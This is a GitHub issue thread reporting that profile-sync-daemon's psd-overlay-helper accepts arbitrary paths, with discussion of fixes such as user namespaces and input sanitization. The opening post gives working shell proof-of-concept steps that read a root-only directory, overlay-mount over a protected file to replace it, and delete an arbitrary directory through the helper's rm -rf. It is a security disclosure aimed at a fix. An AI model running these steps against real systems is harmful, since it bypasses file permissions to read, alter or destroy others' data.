profile-sync-daemon icon indicating copy to clipboard operation
profile-sync-daemon copied to clipboard

overlay-helper isn't really secure

Open Szunti opened this issue 3 years ago • 13 comments

Acting on arbitrary arguments makes it easy to bypass file privileges. Fixes for #235 were not really effective.

  1. Reading unreadable directory
$ ### create secret directory
$mkdir secretdir
$echo 'password' > secretdir/secretfile
$chmod 700 secretdir
$chmod 600 secretdir/secretfile
$sudo chown -R root:root secretdir/
$ls secretdir
ls: cannot open directory 'secretdir': Permission denied
$ ### reading as non-root
$ ## need two random root owned directory, one of them world readable
$ ## works because the merged dir has the permissions of upper, lower dir's permissions are ignored
$sudo mkdir root_owned root_readable
$sudo chmod 700 root_owned
$ ## and the help of psd-overlay-helper
$mkdir work
$psd-overlay-helper -v 23 -l secretdir -u root_readable -w work -d root_owned mountup
$ls root_owned
secretfile
$ ### cleanup
$ sudo umount root_owned
$ rm -rf work
  1. mount on top of any directory
$ ### lets replace that password from earlier
$sudo cat secretdir/secretfile
password
$mkdir work lower upper
$ ## mount over the secretdir
$psd-overlay-helper -v 23 -l lower -u upper -w work -d secretdir mountup
$echo newpassword > secretdir/secretfile
$ ## now everyone sees the new password
$sudo cat secretdir/secretfile
newpassword
$ ## cleanup
$rm -rf work
$sudo umount secretdir
  1. newly added rm -rf on workdir, delete anything
$ ### lets delete secretdir
$ ## create dummy mount, so umount .. && rm -rf ${WORKDIR} in psd-overlay-helper reach rm -rf
$mkdir work merged
$psd-overlay-helper -v 23 -l lower -u upper -w work -d merged mountup
$ ## and delete secretdir in place of the workdir
$psd-overlay-helper -d merged -w secretdir mountdown
$ls secretdir
ls: cannot access 'secretdir': No such file or directory

There could be more, this is just a couple I found.

I suggest that psd-overlay-helper takes only the lower directory as argument and maybe a name and creates the upper, workdir and merged dir in safe places on its own. Also at unmounting it checks that it actually unmounts one of the directories that it mounted and gets the workdir from the mounting options. I could try to work on this if you agree.

Szunti avatar Dec 12 '20 02:12 Szunti

Please do. Thanks for your input.

graysky2 avatar Dec 12 '20 02:12 graysky2

Thank you for making psd. I'm glad if I can contribute a little. I will make a pr probably tomorrow.

Szunti avatar Dec 12 '20 02:12 Szunti

With the 5.11 kernel unprivileged overlayfs mounting is allowed. @graysky2 do you plan to update the code accordingly?

szaszaiz avatar Feb 22 '21 20:02 szaszaiz

Worth looking into... but now getting into versioned deps....

graysky2 avatar Feb 22 '21 21:02 graysky2

@szaszaiz - Do you have an example mounting as such? This doc seems to indicate that a simple mount option is all that's needed.

the "-o userxattr" mount option forces overlayfs to use the "user.overlay." xattr namespace instead of "trusted.overlay.". This is useful for unprivileged mounting of overlayfs.

Perhaps I am missing something.

% mkdir /scratch/.openwrt-upper /scratch/.openwrt-work /scratch/union
% mount -o userxattr -t overlay openwrt-build -olowerdir=/incoming/openwrt,upperdir=/scratch/.openwrt-upper,workdir=/scratch/.openwrt-work /scratch/union
mount: /scratch/union: must be superuser to use mount.

graysky2 avatar Mar 09 '21 09:03 graysky2

Sorry, I disappeared.

This works for me:

# Run bash in new user namespace and mount namespace to get capabilities
% unshare --user --mount -r bash
(inside userns)% mount -t overlay ovi -oupperdir=upper,lowerdir=lower,workdir=workdir union

Szunti avatar Mar 09 '21 11:03 Szunti

From mount_namespace(7) manual page:

When creating a less privileged mount namespace, shared mounts are reduced to slave mounts. (Shared and slave mounts are discussed below.) This ensures that mappings performed in less privileged mount namespaces will not propagate to more privileged mount namespaces.

So IIUC we still can't create mounts without privileges that are seen by the browsers.

Szunti avatar Mar 09 '21 12:03 Szunti

Is it acceptable to have a wrapper that runs the browser in the user namespace?

Szunti avatar Apr 08 '21 09:04 Szunti

Sorry I disappeared. Do you have a proof-of-concept wrapper hacked up?

graysky2 avatar Jun 23 '21 11:06 graysky2

I have something in the user-namespace branch of my fork. git clone [email protected]:Szunti/profile-sync-daemon.git user-namespace

The readme file should explain how to use it. I hope it's not hard to understand.

But I don't think there is a good way to wrap all ways of running a browser. So this may not be a viable solution.

Szunti avatar Jun 25 '21 17:06 Szunti

@Szunti for your config.sh can't the user use ~/.local/share/applications/firefox.desktop to override the global firefox.desktop? According to archwiki "User entries take precedence over system entries." https://wiki.archlinux.org/title/Desktop_entries

bezirg avatar Jun 26 '21 07:06 bezirg

I'm not sure, but when you set firefox as your default browser a desktop file is created. That probably references the binary by absolute path too. I think trying to override firefox is fragile.

Wouldn't it be easier to add the overlay to fstab for example?

Szunti avatar Jun 26 '21 10:06 Szunti

The root problem here is that psd-overlay-helper is just a wrapper around mount (and one that requires root privileges at that). Using a user namespace doesn't really seem to solve the problem to me, it just shifts the arbitrary commands from root to user level where havoc can still be wreaked.

One solution (this is just brainstorming, not necessarily a practical idea) is to have profile-sync-daemon run as root at start, mount the overlay, then drop privileges. Then not have psd-overlay-helper be able to be called at all.

Alternatively, instead of allowing it to accept arbitrary input, do some input sanitization.

Or, have the whole thing run as a dedicated (or dynamic user). Though I don't know how this interacts with overlayfs.

Or add some privilege flags to the systemd script (like ProtectHome, an example not suggesting it) that will restrict the capabilities of the executables.

ghost avatar Aug 18 '21 06:08 ghost